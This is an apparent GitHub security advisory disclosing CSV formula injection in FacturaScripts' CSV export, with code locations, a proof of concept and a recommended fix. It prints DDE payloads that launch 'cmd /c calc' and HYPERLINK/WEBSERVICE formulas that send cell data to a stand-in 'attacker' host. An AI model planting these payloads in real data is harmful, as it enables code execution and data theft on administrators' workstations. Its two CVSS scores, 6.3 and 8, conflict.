GHSA-2p5x-4jr6-x5jg FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export
Summary**Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = "=SUM(1+1)*cmd|/c calc!A1"`. An admin then exported `ListCliente` to CSV via `?action=export&option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|'/c calc'!A1` that spawn arbitrary processes on the admin workstation.`Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\t`, or `\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`< > " '`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.Detailsthe export does not neutralise leading meta-characters`Core/Lib/Export/CSVExport.php:253-267`:A string cell is rendered as `"<value>"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \t \r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`.the upstream sanitiser only scrubs HTML, not formulas`Core/Tools.php:45-46`:`Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim.the export controller hands the payload back to whoever triggers it`Core/Lib/Export/CSVExport.php:240-245`:`Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.default permission model exposes the data ingestionA user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export&option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content.PoCOpening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.Impact**Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover.**Credential theft.** Common variants (`=HYPERLINK("https://attacker/?p=" & A1, "Click")`, `=WEBSERVICE("https://attacker/?p=" & A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell.**Trust laundering.** Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply.**Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.`AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`.Recommended FixNeutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation.Apply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.A regression test should:Insert a customer with `nombre = '=SUM(1+1)'`.Render the list to CSV via `CSVExport->writeData()`.Assert the resulting line begins with `"'=SUM(1+1)"`, not `"=SUM(1+1)"`.Assert `nombre` containing an embedded delimiter (`a"b`) is correctly doubled to `"a""b"`.Defence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.
CVSS v3.1 score: 8